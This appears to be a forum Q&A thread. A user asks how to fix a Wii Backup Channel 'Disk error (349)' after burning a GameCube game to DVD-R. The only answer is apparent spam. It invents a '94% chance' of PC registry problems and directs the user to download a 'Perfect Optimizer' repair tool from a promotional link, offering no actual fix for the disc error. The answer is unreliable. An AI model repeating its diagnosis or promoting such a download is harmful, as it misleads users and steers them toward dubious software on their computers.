How do I fix the Wii BackUp Channel disk error 349

(I'm the one who posted the question) I'm no pro so tell me basicly what do I need to do.
I have a Windows XP SP2/3 (I have no idea), and I tried to burn Medabots Infinity for the Nintendo GameCube, so I could use it on my Nintendo Wii. I used ImgBurn and when I put the disk in my Wii and used the backup channel, it said "Disk error (349)".
I used a DVD-R disk, and my Wii is PAL.
So what do I need to do?
There are 3 step to repair 349 error

If you got 349 error then there is a 94% chance that your computer has registry problems. To repair 349 error you need to follow the steps below:

* Step 1 - Download a Perfect Optimizer,install this error repair tool.
* Step 2 - Click the Repair All Button.It will scan you PC for Free.
* Step 3 - Then click the Repair All Button again and your done! It is very easy to repair 349 error.

Here are the URL of Perfect Optimizer: http://www.fixerror365.com/tidpp-349_error-zz0005